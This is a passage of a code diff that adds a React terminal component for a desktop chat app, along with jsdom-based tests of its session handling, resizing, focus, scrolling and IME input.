||||||
|
assert.deepEqual(attach.args.request, {
|
||||||
|
channelId: "channel-1",
|
||||||
|
channelName: "general",
|
||||||
|
columns: 100,
|
||||||
|
npub: "npub1owner",
|
||||||
|
pixelHeight: 408,
|
||||||
|
pixelWidth: 840,
|
||||||
|
relayUrl: "wss://relay.example",
|
||||||
|
rows: 24,
|
||||||
|
threadId: "thread-1",
|
||||||
|
});
|
||||||
|
|
||||||
|
const frameMessage = {
|
||||||
|
type: "frame",
|
||||||
|
payload: {
|
||||||
|
bracketedPaste: true,
|
||||||
|
cursor: { column: 0, line: 0, visible: true },
|
||||||
|
focusReporting: true,
|
||||||
|
full: true,
|
||||||
|
rows: [],
|
||||||
|
sequence: 7,
|
||||||
|
subscriptionId: "subscription-1",
|
||||||
|
viewport: { columns: 100, generation: 0, screenLines: 24 },
|
||||||
|
},
|
||||||
|
};
|
||||||
|
await act(async () => {
|
||||||
|
emit(frameMessage);
|
||||||
|
});
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.ok(calls.some(({ command }) => command === "terminal_ack")),
|
||||||
|
);
|
||||||
|
assert.deepEqual(
|
||||||
|
calls.find(({ command }) => command === "terminal_ack").args,
|
||||||
|
{
|
||||||
|
sequence: 7,
|
||||||
|
sessionId: "session-1",
|
||||||
|
subscriptionId: "subscription-1",
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
// IPC redelivery produces a newly deserialized object, so replay a distinct
|
||||||
|
// object to exercise sequence-based deduplication rather than object identity.
|
||||||
|
await act(async () => {
|
||||||
|
emit(structuredClone(frameMessage), 1);
|
||||||
|
});
|
||||||
|
assert.equal(
|
||||||
|
calls.filter(({ command }) => command === "terminal_ack").length,
|
||||||
|
1,
|
||||||
|
);
|
||||||
|
view.unmount();
|
||||||
|
});
|
||||||
|
test("resize during in-flight catch-up keeps the newest viewport ready", async () => {
|
||||||
|
const { createElement } = await import("react");
|
||||||
|
const { act, render, waitFor } = await import("@testing-library/react");
|
||||||
|
const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
|
||||||
|
const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
|
||||||
|
|
||||||
|
attachResolver = () => {};
|
||||||
|
deferResizes = true;
|
||||||
|
const view = render(
|
||||||
|
createElement(
|
||||||
|
ThemeProvider,
|
||||||
|
null,
|
||||||
|
createElement("div", {
|
||||||
|
className: "buzz-huddle-app-surface",
|
||||||
|
tabIndex: -1,
|
||||||
|
}),
|
||||||
|
createElement(TerminalBootstrap, {
|
||||||
|
channelId: "channel-1",
|
||||||
|
channelName: "general",
|
||||||
|
npub: "npub1owner",
|
||||||
|
relayUrl: "wss://relay.example",
|
||||||
|
threadId: null,
|
||||||
|
}),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
await waitFor(() => assert.equal(typeof attachResolver, "function"));
|
||||||
|
|
||||||
|
canvasWidth = 1_008;
|
||||||
|
act(() => resizeCallback());
|
||||||
|
await act(async () => attachResolver());
|
||||||
|
await waitFor(() => assert.equal(pendingResizes.length, 1));
|
||||||
|
|
||||||
|
canvasWidth = 1_680;
|
||||||
|
await act(async () => {
|
||||||
|
resizeCallback();
|
||||||
|
});
|
||||||
|
|
||||||
|
// Resolve newest-first so an unchained catch-up resize would publish stale
|
||||||
|
// readiness after the newer viewport.
|
||||||
|
for (let i = 0; i < 10 && pendingResizes.length > 0; i += 1) {
|
||||||
|
await act(async () => {
|
||||||
|
pendingResizes.pop()();
|
||||||
|
await Promise.resolve();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
await act(async () => {
|
||||||
|
await Promise.resolve();
|
||||||
|
});
|
||||||
|
|
||||||
|
const readyCalls = calls.filter(
|
||||||
|
({ command }) => command === "terminal_viewport_ready",
|
||||||
|
);
|
||||||
|
assert.ok(readyCalls.length > 0, "vacuity guard: no readiness published");
|
||||||
|
assert.equal(readyCalls.at(-1).args.viewport.columns, 200);
|
||||||
|
view.unmount();
|
||||||
|
});
|
||||||
|
|
||||||
|
test("opening a tab keeps terminal ownership while its attachment is pending", async () => {
|
||||||
|
const { createElement } = await import("react");
|
||||||
|
const { act, fireEvent, render, waitFor } = await import(
|
||||||
|
"@testing-library/react"
|
||||||
|
);
|
||||||
|
const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
|
||||||
|
const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
|
||||||
|
|
||||||
|
const view = render(
|
||||||
|
createElement(
|
||||||
|
ThemeProvider,
|
||||||
|
null,
|
||||||
|
createElement("div", {
|
||||||
|
className: "buzz-huddle-app-surface",
|
||||||
|
tabIndex: -1,
|
||||||
|
}),
|
||||||
|
createElement(TerminalBootstrap, {
|
||||||
|
channelId: "channel-1",
|
||||||
|
channelName: "general",
|
||||||
|
npub: "npub1owner",
|
||||||
|
relayUrl: "wss://relay.example",
|
||||||
|
threadId: null,
|
||||||
|
}),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.ok(calls.some(({ command }) => command === "terminal_attach")),
|
||||||
|
);
|
||||||
|
await act(async () => {
|
||||||
|
await Promise.resolve();
|
||||||
|
});
|
||||||
|
const substrate = view.container.querySelector(".buzz-terminal-substrate");
|
||||||
|
const chord = { bubbles: true, code: "KeyJ", metaKey: true };
|
||||||
|
act(() => {
|
||||||
|
window.dispatchEvent(new KeyboardEvent("keydown", chord));
|
||||||
|
window.dispatchEvent(new KeyboardEvent("keyup", chord));
|
||||||
|
});
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.equal(substrate.dataset.terminalOwner, "terminal"),
|
||||||
|
);
|
||||||
|
|
||||||
|
attachResolver = () => {};
|
||||||
|
fireEvent.click(view.getByLabelText("New Buzz Term tab"));
|
||||||
|
await waitFor(() => assert.equal(typeof attachResolver, "function"));
|
||||||
|
assert.equal(
|
||||||
|
substrate.dataset.terminalOwner,
|
||||||
|
"terminal",
|
||||||
|
"an attaching session must not force the substrate back to Buzz",
|
||||||
|
);
|
||||||
|
assert.equal(view.getAllByRole("tab").length, 2);
|
||||||
|
|
||||||
|
await act(async () => attachResolver());
|
||||||
|
view.unmount();
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a successful close removes the tab even if the exit event is lost", async () => {
|
||||||
|
const { createElement } = await import("react");
|
||||||
|
const { fireEvent, render, waitFor } = await import("@testing-library/react");
|
||||||
|
const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
|
||||||
|
const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
|
||||||
|
|
||||||
|
const view = render(
|
||||||
|
createElement(
|
||||||
|
ThemeProvider,
|
||||||
|
null,
|
||||||
|
createElement("div", {
|
||||||
|
className: "buzz-huddle-app-surface",
|
||||||
|
tabIndex: -1,
|
||||||
|
}),
|
||||||
|
createElement(TerminalBootstrap, {
|
||||||
|
channelId: "channel-1",
|
||||||
|
channelName: "general",
|
||||||
|
npub: "npub1owner",
|
||||||
|
relayUrl: "wss://relay.example",
|
||||||
|
threadId: null,
|
||||||
|
}),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.ok(calls.some(({ command }) => command === "terminal_attach")),
|
||||||
|
);
|
||||||
|
await waitFor(() => assert.ok(view.queryByRole("tab", { name: /SHELL/ })));
|
||||||
|
|
||||||
|
fireEvent.click(view.getByLabelText("Close SHELL"));
|
||||||
|
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.ok(calls.some(({ command }) => command === "terminal_close")),
|
||||||
|
);
|
||||||
|
await waitFor(() => assert.equal(view.queryByRole("tab"), null));
|
||||||
|
view.unmount();
|
||||||
|
});
|
||||||
|
|
||||||
|
// The wheel-to-IPC path end to end. `TerminalSubstrate` already proves it
|
||||||
|
// accumulates pixels into whole cells and `buzz-terminal` already proves which
|
||||||
|
// way the engine goes; the seam between them is this file's business, and the
|
||||||
|
// thing that can silently rot here is the *sign*. A negation added in the
|
||||||
|
// bridge would leave every unit test green and scroll the terminal the wrong
|
||||||
|
// way, so this asserts the delta reaches `terminal_scroll` unchanged: positive
|
||||||
|
// `deltaY` -- the gesture that scrolls a page toward the bottom of the
|
||||||
|
// document -- must arrive positive, and the backend owns the flip.
|
||||||
|
test("wheel deltas reach terminal_scroll with the DOM sign intact", async () => {
|
||||||
|
const { createElement } = await import("react");
|
||||||
|
const { act, fireEvent, render, waitFor } = await import(
|
||||||
|
"@testing-library/react"
|
||||||
|
);
|
||||||
|
const { ThemeProvider } = await import("@/shared/theme/ThemeProvider");
|
||||||
|
const { TerminalBootstrap } = await import("./TerminalBootstrap.tsx");
|
||||||
|
|
||||||
|
const view = render(
|
||||||
|
createElement(
|
||||||
|
ThemeProvider,
|
||||||
|
null,
|
||||||
|
createElement("div", {
|
||||||
|
className: "buzz-huddle-app-surface",
|
||||||
|
tabIndex: -1,
|
||||||
|
}),
|
||||||
|
createElement(TerminalBootstrap, {
|
||||||
|
channelId: "channel-1",
|
||||||
|
channelName: "general",
|
||||||
|
npub: "npub1owner",
|
||||||
|
relayUrl: "wss://relay.example",
|
||||||
|
threadId: null,
|
||||||
|
}),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.ok(calls.some(({ command }) => command === "terminal_attach")),
|
||||||
|
);
|
||||||
|
await act(async () => {
|
||||||
|
await Promise.resolve();
|
||||||
|
});
|
||||||
|
const substrate = view.container.querySelector(".buzz-terminal-substrate");
|
||||||
|
|
||||||
|
// Two cells' worth of pixels (cell height is 17), backwards.
|
||||||
|
await act(async () => {
|
||||||
|
fireEvent.wheel(substrate, { deltaMode: 0, deltaY: -34 });
|
||||||
|
});
|
||||||
|
const scrolls = () =>
|
||||||
|
calls.filter(({ command }) => command === "terminal_scroll");
|
||||||
|
await waitFor(() => assert.equal(scrolls().length, 1));
|
||||||
|
assert.equal(
|
||||||
|
scrolls()[0].args.lines,
|
||||||
|
-2,
|
||||||
|
"a backwards wheel must arrive negative; the backend owns the negation",
|
||||||
|
);
|
||||||
|
assert.equal(scrolls()[0].args.sessionId, "session-1");
|
||||||
|
|
||||||
|
await act(async () => {
|
||||||
|
fireEvent.wheel(substrate, { deltaMode: 0, deltaY: 34 });
|
||||||
|
});
|
||||||
|
await waitFor(() => assert.equal(scrolls().length, 2));
|
||||||
|
assert.equal(scrolls()[1].args.lines, 2, "and forwards must arrive positive");
|
||||||
|
|
||||||
|
view.unmount();
|
||||||
|
});
|
||||||
274
desktop/src/features/terminal/TerminalBootstrap.tsx
Normal file
274
desktop/src/features/terminal/TerminalBootstrap.tsx
Normal file
@@ -0,0 +1,274 @@
|
|||||||
|
import * as React from "react";
|
||||||
|
import { isTauri } from "@tauri-apps/api/core";
|
||||||
|
|
||||||
|
import {
|
||||||
|
type TerminalDelivery,
|
||||||
|
TerminalConnection,
|
||||||
|
type TerminalFrameMessage,
|
||||||
|
type TerminalMessage,
|
||||||
|
} from "./terminalClient";
|
||||||
|
import {
|
||||||
|
TerminalSubstrate,
|
||||||
|
type TerminalViewportSize,
|
||||||
|
} from "./TerminalSubstrate";
|
||||||
|
|
||||||
|
type TerminalContext = {
|
||||||
|
channelId: string;
|
||||||
|
channelName: string;
|
||||||
|
threadId: string | null;
|
||||||
|
npub: string;
|
||||||
|
relayUrl: string;
|
||||||
|
};
|
||||||
|
|
||||||
|
type Session = {
|
||||||
|
key: string;
|
||||||
|
connection: TerminalConnection | null;
|
||||||
|
delivery: TerminalDelivery | null;
|
||||||
|
frame: TerminalFrameMessage | undefined;
|
||||||
|
title: string;
|
||||||
|
closing: boolean;
|
||||||
|
};
|
||||||
|
|
||||||
|
const INITIAL_SIZE: TerminalViewportSize = {
|
||||||
|
columns: 80,
|
||||||
|
rows: 24,
|
||||||
|
pixelWidth: 672,
|
||||||
|
pixelHeight: 408,
|
||||||
|
};
|
||||||
|
|
||||||
|
function report(error: unknown) {
|
||||||
|
console.error("terminal session failed", error);
|
||||||
|
}
|
||||||
|
|
||||||
|
export function TerminalBootstrap({
|
||||||
|
channelId,
|
||||||
|
channelName,
|
||||||
|
threadId,
|
||||||
|
npub,
|
||||||
|
relayUrl,
|
||||||
|
}: {
|
||||||
|
channelId: string | null;
|
||||||
|
channelName: string | null;
|
||||||
|
threadId: string | null;
|
||||||
|
npub: string | null;
|
||||||
|
relayUrl: string | null;
|
||||||
|
}) {
|
||||||
|
const context =
|
||||||
|
channelId && npub && relayUrl
|
||||||
|
? {
|
||||||
|
channelId,
|
||||||
|
channelName: channelName ?? channelId,
|
||||||
|
threadId,
|
||||||
|
npub,
|
||||||
|
relayUrl,
|
||||||
|
}
|
||||||
|
: null;
|
||||||
|
const contextRef = React.useRef<TerminalContext | null>(context);
|
||||||
|
contextRef.current = context;
|
||||||
|
const mountedRef = React.useRef(true);
|
||||||
|
const sizeRef = React.useRef(INITIAL_SIZE);
|
||||||
|
const resizeChainRef = React.useRef(Promise.resolve());
|
||||||
|
const [sessions, setSessions] = React.useState<Session[]>([]);
|
||||||
|
const [activeKey, setActiveKey] = React.useState<string | null>(null);
|
||||||
|
const [available, setAvailable] = React.useState(() => isTauri());
|
||||||
|
const acknowledgedSequenceRef = React.useRef(new Map<string, number>());
|
||||||
|
const sessionsRef = React.useRef(sessions);
|
||||||
|
sessionsRef.current = sessions;
|
||||||
|
|
||||||
|
const fail = React.useCallback((error: unknown) => {
|
||||||
|
report(error);
|
||||||
|
setAvailable(false);
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const removeSession = React.useCallback((key: string) => {
|
||||||
|
setSessions((current) => current.filter((session) => session.key !== key));
|
||||||
|
setActiveKey((current) => {
|
||||||
|
if (current !== key) return current;
|
||||||
|
const remaining = sessionsRef.current.filter(
|
||||||
|
(session) => session.key !== key,
|
||||||
|
);
|
||||||
|
return remaining.at(-1)?.key ?? null;
|
||||||
|
});
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const createSession = React.useCallback(() => {
|
||||||
|
const spawnContext = contextRef.current;
|
||||||
|
if (!available || !spawnContext) return;
|
||||||
|
const key = crypto.randomUUID();
|
||||||
|
const initial: Session = {
|
||||||
|
key,
|
||||||
|
connection: null,
|
||||||
|
delivery: null,
|
||||||
|
frame: undefined,
|
||||||
|
title: "SHELL",
|
||||||
|
closing: false,
|
||||||
|
};
|
||||||
|
setSessions((current) => [...current, initial]);
|
||||||
|
setActiveKey(key);
|
||||||
|
|
||||||
|
const update = (apply: (session: Session) => Session) => {
|
||||||
|
if (!mountedRef.current) return;
|
||||||
|
setSessions((current) =>
|
||||||
|
current.map((session) =>
|
||||||
|
session.key === key ? apply(session) : session,
|
||||||
|
),
|
||||||
|
);
|
||||||
|
};
|
||||||
|
const onMessage = (
|
||||||
|
message: Exclude<TerminalMessage, { type: "frame" }>,
|
||||||
|
) => {
|
||||||
|
if (message.type === "exit") {
|
||||||
|
removeSession(key);
|
||||||
|
} else if (message.type === "title") {
|
||||||
|
update((session) => ({
|
||||||
|
...session,
|
||||||
|
title: message.payload || "SHELL",
|
||||||
|
}));
|
||||||
|
} else if (message.type === "resetTitle") {
|
||||||
|
update((session) => ({ ...session, title: "SHELL" }));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
const onFrame = (delivery: TerminalDelivery) => {
|
||||||
|
update((session) => ({ ...session, delivery, frame: delivery.frame }));
|
||||||
|
};
|
||||||
|
|
||||||
|
const size = sizeRef.current;
|
||||||
|
void TerminalConnection.attach(
|
||||||
|
{
|
||||||
|
...spawnContext,
|
||||||
|
threadId: spawnContext.threadId ?? undefined,
|
||||||
|
...size,
|
||||||
|
},
|
||||||
|
onMessage,
|
||||||
|
onFrame,
|
||||||
|
)
|
||||||
|
.then((connection) => {
|
||||||
|
if (!mountedRef.current) return connection.detach();
|
||||||
|
update((session) => ({ ...session, connection }));
|
||||||
|
if (sizeRef.current !== size) {
|
||||||
|
const currentSize = sizeRef.current;
|
||||||
|
resizeChainRef.current = resizeChainRef.current
|
||||||
|
.then(async () => {
|
||||||
|
const viewport = await connection.resize(
|
||||||
|
currentSize.columns,
|
||||||
|
currentSize.rows,
|
||||||
|
currentSize.pixelWidth,
|
||||||
|
currentSize.pixelHeight,
|
||||||
|
);
|
||||||
|
await connection.viewportReady(viewport);
|
||||||
|
})
|
||||||
|
.catch(fail);
|
||||||
|
}
|
||||||
|
})
|
||||||
|
.catch((error) => {
|
||||||
|
removeSession(key);
|
||||||
|
fail(error);
|
||||||
|
});
|
||||||
|
}, [available, fail, removeSession]);
|
||||||
|
|
||||||
|
React.useEffect(() => {
|
||||||
|
if (available && context && sessions.length === 0) createSession();
|
||||||
|
}, [available, context, createSession, sessions.length]);
|
||||||
|
|
||||||
|
React.useEffect(() => {
|
||||||
|
mountedRef.current = true;
|
||||||
|
return () => {
|
||||||
|
mountedRef.current = false;
|
||||||
|
for (const session of sessionsRef.current) {
|
||||||
|
void session.connection?.detach().catch(report);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const active = sessions.find((session) => session.key === activeKey) ?? null;
|
||||||
|
const send = (operation: Promise<void> | undefined) => operation?.catch(fail);
|
||||||
|
|
||||||
|
const handleSize = React.useCallback(
|
||||||
|
(size: TerminalViewportSize) => {
|
||||||
|
sizeRef.current = size;
|
||||||
|
const connection = sessionsRef.current.find(
|
||||||
|
(session) => session.key === activeKey,
|
||||||
|
)?.connection;
|
||||||
|
if (!connection) return;
|
||||||
|
resizeChainRef.current = resizeChainRef.current
|
||||||
|
.then(async () => {
|
||||||
|
const viewport = await connection.resize(
|
||||||
|
size.columns,
|
||||||
|
size.rows,
|
||||||
|
size.pixelWidth,
|
||||||
|
size.pixelHeight,
|
||||||
|
);
|
||||||
|
await connection.viewportReady(viewport);
|
||||||
|
})
|
||||||
|
.catch(fail);
|
||||||
|
},
|
||||||
|
[activeKey, fail],
|
||||||
|
);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<TerminalSubstrate
|
||||||
|
bracketedPaste={active?.frame?.bracketedPaste ?? false}
|
||||||
|
channelName={channelName}
|
||||||
|
enabled={available && Boolean(active)}
|
||||||
|
focusReportingEnabled={active?.frame?.focusReporting ?? false}
|
||||||
|
frame={active?.frame}
|
||||||
|
sessionFrames={sessions.flatMap((session) =>
|
||||||
|
session.frame ? [{ sessionId: session.key, frame: session.frame }] : [],
|
||||||
|
)}
|
||||||
|
onCloseSession={(key) => {
|
||||||
|
setSessions((current) =>
|
||||||
|
current.map((session) =>
|
||||||
|
session.key === key ? { ...session, closing: true } : session,
|
||||||
|
),
|
||||||
|
);
|
||||||
|
const connection = sessionsRef.current.find(
|
||||||
|
(session) => session.key === key,
|
||||||
|
)?.connection;
|
||||||
|
if (!connection) {
|
||||||
|
removeSession(key);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
void connection
|
||||||
|
.close()
|
||||||
|
.then(() => removeSession(key))
|
||||||
|
.catch(fail);
|
||||||
|
}}
|
||||||
|
onFrameConsumed={(frame) => {
|
||||||
|
const delivery = sessionsRef.current.find(
|
||||||
|
(session) => session.delivery?.frame === frame,
|
||||||
|
)?.delivery;
|
||||||
|
if (!delivery) return;
|
||||||
|
const { sequence, subscriptionId } = delivery.frame;
|
||||||
|
const lastAcknowledged =
|
||||||
|
acknowledgedSequenceRef.current.get(subscriptionId) ?? -1;
|
||||||
|
if (sequence <= lastAcknowledged) return;
|
||||||
|
acknowledgedSequenceRef.current.set(subscriptionId, sequence);
|
||||||
|
delivery.acknowledge().catch((error) => {
|
||||||
|
if (
|
||||||
|
acknowledgedSequenceRef.current.get(subscriptionId) === sequence
|
||||||
|
) {
|
||||||
|
acknowledgedSequenceRef.current.set(
|
||||||
|
subscriptionId,
|
||||||
|
lastAcknowledged,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
fail(error);
|
||||||
|
});
|
||||||
|
}}
|
||||||
|
onInput={(text) => send(active?.connection?.input(text))}
|
||||||
|
onNewSession={createSession}
|
||||||
|
onScroll={(lines) => send(active?.connection?.scroll(lines))}
|
||||||
|
onSelectSession={setActiveKey}
|
||||||
|
onTerminalFocusChange={(focused) =>
|
||||||
|
send(active?.connection?.focus(focused))
|
||||||
|
}
|
||||||
|
onViewportSize={handleSize}
|
||||||
|
sessions={sessions.map((session) => ({
|
||||||
|
active: session.key === activeKey,
|
||||||
|
closing: session.closing,
|
||||||
|
id: session.key,
|
||||||
|
title: session.title,
|
||||||
|
}))}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
}
|
||||||
976
desktop/src/features/terminal/TerminalSubstrate.test.mjs
Normal file
976
desktop/src/features/terminal/TerminalSubstrate.test.mjs
Normal file
@@ -0,0 +1,976 @@
|
|||||||
|
import assert from "node:assert/strict";
|
||||||
|
import { after, before, beforeEach, test } from "node:test";
|
||||||
|
|
||||||
|
import { JSDOM } from "jsdom";
|
||||||
|
|
||||||
|
let act;
|
||||||
|
let cleanup;
|
||||||
|
let createElement;
|
||||||
|
let fireEvent;
|
||||||
|
let render;
|
||||||
|
let waitFor;
|
||||||
|
let ThemeProvider;
|
||||||
|
let TerminalSubstrate;
|
||||||
|
let reducedMotion = false;
|
||||||
|
|
||||||
|
// `pretendToBeVisual` is what gives jsdom requestAnimationFrame. The banner's
|
||||||
|
// animation loop needs it; without it the loop silently never runs and every
|
||||||
|
// paint assertion below reads as a rendering failure.
|
||||||
|
const dom = new JSDOM("<!doctype html><html><body></body></html>", {
|
||||||
|
pretendToBeVisual: true,
|
||||||
|
url: "http://localhost",
|
||||||
|
});
|
||||||
|
|
||||||
|
before(async () => {
|
||||||
|
Object.assign(globalThis, {
|
||||||
|
document: dom.window.document,
|
||||||
|
HTMLElement: dom.window.HTMLElement,
|
||||||
|
HTMLCanvasElement: dom.window.HTMLCanvasElement,
|
||||||
|
KeyboardEvent: dom.window.KeyboardEvent,
|
||||||
|
window: dom.window,
|
||||||
|
IS_REACT_ACT_ENVIRONMENT: true,
|
||||||
|
});
|
||||||
|
// `navigator` is a getter-only global on Node, and the chord layer branches
|
||||||
|
// on `isMacPlatform()`. Pin it so these assertions describe macOS behaviour
|
||||||
|
// on every host instead of quietly inverting on a Linux runner.
|
||||||
|
Object.defineProperty(dom.window.navigator, "platform", {
|
||||||
|
configurable: true,
|
||||||
|
value: "MacIntel",
|
||||||
|
});
|
||||||
|
Object.defineProperty(globalThis, "navigator", {
|
||||||
|
configurable: true,
|
||||||
|
value: dom.window.navigator,
|
||||||
|
writable: true,
|
||||||
|
});
|
||||||
|
dom.window.matchMedia = () => ({
|
||||||
|
get matches() {
|
||||||
|
return reducedMotion;
|
||||||
|
},
|
||||||
|
addEventListener() {},
|
||||||
|
removeEventListener() {},
|
||||||
|
});
|
||||||
|
dom.window.HTMLElement.prototype.animate = () => ({
|
||||||
|
cancel() {},
|
||||||
|
currentTime: 0,
|
||||||
|
finished: new Promise(() => {}),
|
||||||
|
play() {},
|
||||||
|
playbackRate: 1,
|
||||||
|
reverse() {},
|
||||||
|
});
|
||||||
|
({ act, cleanup, fireEvent, render, waitFor } = await import(
|
||||||
|
"@testing-library/react"
|
||||||
|
));
|
||||||
|
({ createElement } = await import("react"));
|
||||||
|
({ ThemeProvider } = await import("@/shared/theme/ThemeProvider"));
|
||||||
|
({ TerminalSubstrate } = await import("./TerminalSubstrate.tsx"));
|
||||||
|
});
|
||||||
|
|
||||||
|
after(() => dom.window.close());
|
||||||
|
beforeEach(() => {
|
||||||
|
cleanup?.();
|
||||||
|
reducedMotion = false;
|
||||||
|
paintLog.length = 0;
|
||||||
|
dom.window.localStorage.clear();
|
||||||
|
dom.window.HTMLCanvasElement.prototype.getBoundingClientRect = () => ({
|
||||||
|
bottom: 782,
|
||||||
|
height: 782,
|
||||||
|
left: 0,
|
||||||
|
right: 940.8,
|
||||||
|
top: 0,
|
||||||
|
width: 940.8,
|
||||||
|
x: 0,
|
||||||
|
y: 0,
|
||||||
|
toJSON() {},
|
||||||
|
});
|
||||||
|
dom.window.HTMLCanvasElement.prototype.getContext = function () {
|
||||||
|
return paintRecorder(this);
|
||||||
|
};
|
||||||
|
});
|
||||||
|
|
||||||
|
// The default stub discards everything it is handed, so an assertion made
|
||||||
|
// against it cannot distinguish "repainted" from "drew nothing". This records
|
||||||
|
// every draw call against the canvas that received it, so the tests below are
|
||||||
|
// about commands actually issued and can exclude the banner canvas.
|
||||||
|
const paintLog = [];
|
||||||
|
|
||||||
|
function paintRecorder(canvas) {
|
||||||
|
return {
|
||||||
|
clearRect() {},
|
||||||
|
fillRect(x, y, width, height) {
|
||||||
|
paintLog.push({
|
||||||
|
canvas,
|
||||||
|
height,
|
||||||
|
kind: "fill",
|
||||||
|
style: this.fillStyle,
|
||||||
|
width,
|
||||||
|
x,
|
||||||
|
y,
|
||||||
|
});
|
||||||
|
},
|
||||||
|
fillStyle: "",
|
||||||
|
fillText(text, x, y) {
|
||||||
|
paintLog.push({ canvas, kind: "text", text, x, y });
|
||||||
|
},
|
||||||
|
font: "",
|
||||||
|
restore() {},
|
||||||
|
save() {},
|
||||||
|
setTransform() {},
|
||||||
|
textBaseline: "",
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Draws issued to the grid canvas only, newest paint pass included. */
|
||||||
|
function gridDraws(view) {
|
||||||
|
const grid = view.container.querySelector(
|
||||||
|
".buzz-terminal-viewport > canvas:not(.buzz-terminal-welcome)",
|
||||||
|
);
|
||||||
|
return paintLog.filter((entry) => entry.canvas === grid);
|
||||||
|
}
|
||||||
|
|
||||||
|
function fixture(overrides = {}) {
|
||||||
|
const calls = { input: [], scroll: [] };
|
||||||
|
const props = {
|
||||||
|
bracketedPaste: false,
|
||||||
|
channelName: "terminal-test",
|
||||||
|
focusReportingEnabled: false,
|
||||||
|
onCloseSession() {},
|
||||||
|
onInput(value) {
|
||||||
|
calls.input.push(value);
|
||||||
|
},
|
||||||
|
onNewSession() {},
|
||||||
|
onScroll(lines) {
|
||||||
|
calls.scroll.push(lines);
|
||||||
|
},
|
||||||
|
onSelectSession() {},
|
||||||
|
onTerminalFocusChange() {},
|
||||||
|
sessions: [{ active: true, closing: false, id: "one", title: "SHELL" }],
|
||||||
|
...overrides,
|
||||||
|
};
|
||||||
|
const renderTree = (nextProps) =>
|
||||||
|
createElement(
|
||||||
|
ThemeProvider,
|
||||||
|
null,
|
||||||
|
createElement("div", {
|
||||||
|
className: "buzz-huddle-app-surface",
|
||||||
|
tabIndex: -1,
|
||||||
|
}),
|
||||||
|
createElement(TerminalSubstrate, nextProps),
|
||||||
|
);
|
||||||
|
const view = render(renderTree(props));
|
||||||
|
return {
|
||||||
|
calls,
|
||||||
|
props,
|
||||||
|
view,
|
||||||
|
rerender(nextOverrides) {
|
||||||
|
view.rerender(renderTree({ ...props, ...nextOverrides }));
|
||||||
|
},
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
async function ready(view) {
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.ok(view.container.querySelector(".buzz-terminal-substrate")),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
function toggleChord(composing = false) {
|
||||||
|
const init = {
|
||||||
|
bubbles: true,
|
||||||
|
code: "KeyJ",
|
||||||
|
isComposing: composing,
|
||||||
|
metaKey: true,
|
||||||
|
};
|
||||||
|
act(() => {
|
||||||
|
window.dispatchEvent(new KeyboardEvent("keydown", init));
|
||||||
|
window.dispatchEvent(new KeyboardEvent("keyup", init));
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
test("mounted IME paths neither toggle nor emit preedit text", async () => {
|
||||||
|
const { calls, view } = fixture();
|
||||||
|
await ready(view);
|
||||||
|
const substrate = view.container.querySelector(".buzz-terminal-substrate");
|
||||||
|
toggleChord(true);
|
||||||
|
assert.equal(substrate.dataset.terminalOwner, "buzz");
|
||||||
|
|
||||||
|
toggleChord();
|
||||||
|
await waitFor(() =>
|
||||||
|
assert.equal(substrate.dataset.terminalOwner, "terminal"),
|
||||||
|
);
|
||||||
|
const input = view.getByLabelText("Terminal input");
|
||||||
|
fireEvent.compositionStart(input);
|
||||||
|
fireEvent.input(input, { target: { value: "k" } });
|
||||||
|
fireEvent.input(input, { target: { value: "か" } });
|
||||||
|
assert.deepEqual(calls.input, []);
|
||||||
|
fireEvent.compositionEnd(input, { data: "か" });
|
||||||
|
assert.deepEqual(calls.input, []);
|
||||||
|
fireEvent.input(input, { target: { value: "か" } });
|
||||||
|
assert.deepEqual(calls.input, ["か"]);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("tab actions restore terminal input focus", async () => {
|
||||||
|
const { view } = fixture();
|
||||||
|
await ready(view);
|
||||||
|
toggleChord();
|
||||||
|
const input = view.getByLabelText("Terminal input");
|
||||||
|
await waitFor(() => assert.equal(document.activeElement, input));
|
||||||
|
|
||||||
|
const actions = [
|
||||||
|
["select", view.getByRole("tab")],
|
||||||
|
["close", view.getByLabelText("Close SHELL")],
|
||||||
|
["new", view.getByLabelText("New Buzz Term tab")],
|
||||||
|
];
|
||||||
|
for (const [label, target] of actions) {
|
||||||
|
target.focus();
|
||||||
|
assert.equal(document.activeElement, target, `${label} takes focus`);
|
||||||
|
fireEvent.click(target);
|
||||||
|
assert.equal(
|
||||||
|
document.activeElement,
|
||||||
|
input,
|
||||||
|
`${label} restores terminal focus`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
const EMPTY_FRAME = {
|
||||||
|
cursor: { column: 0, line: 0, visible: false },
|
||||||
|
full: false,
|
||||||
|
rows: [],
|
||||||
|
viewport: { columns: 112, generation: 1, screenLines: 46 },
|
||||||
|
};
|
||||||
|
|
||||||
|
const VISIBLE_FRAME = {
|
||||||
|
...EMPTY_FRAME,
|
||||||
|
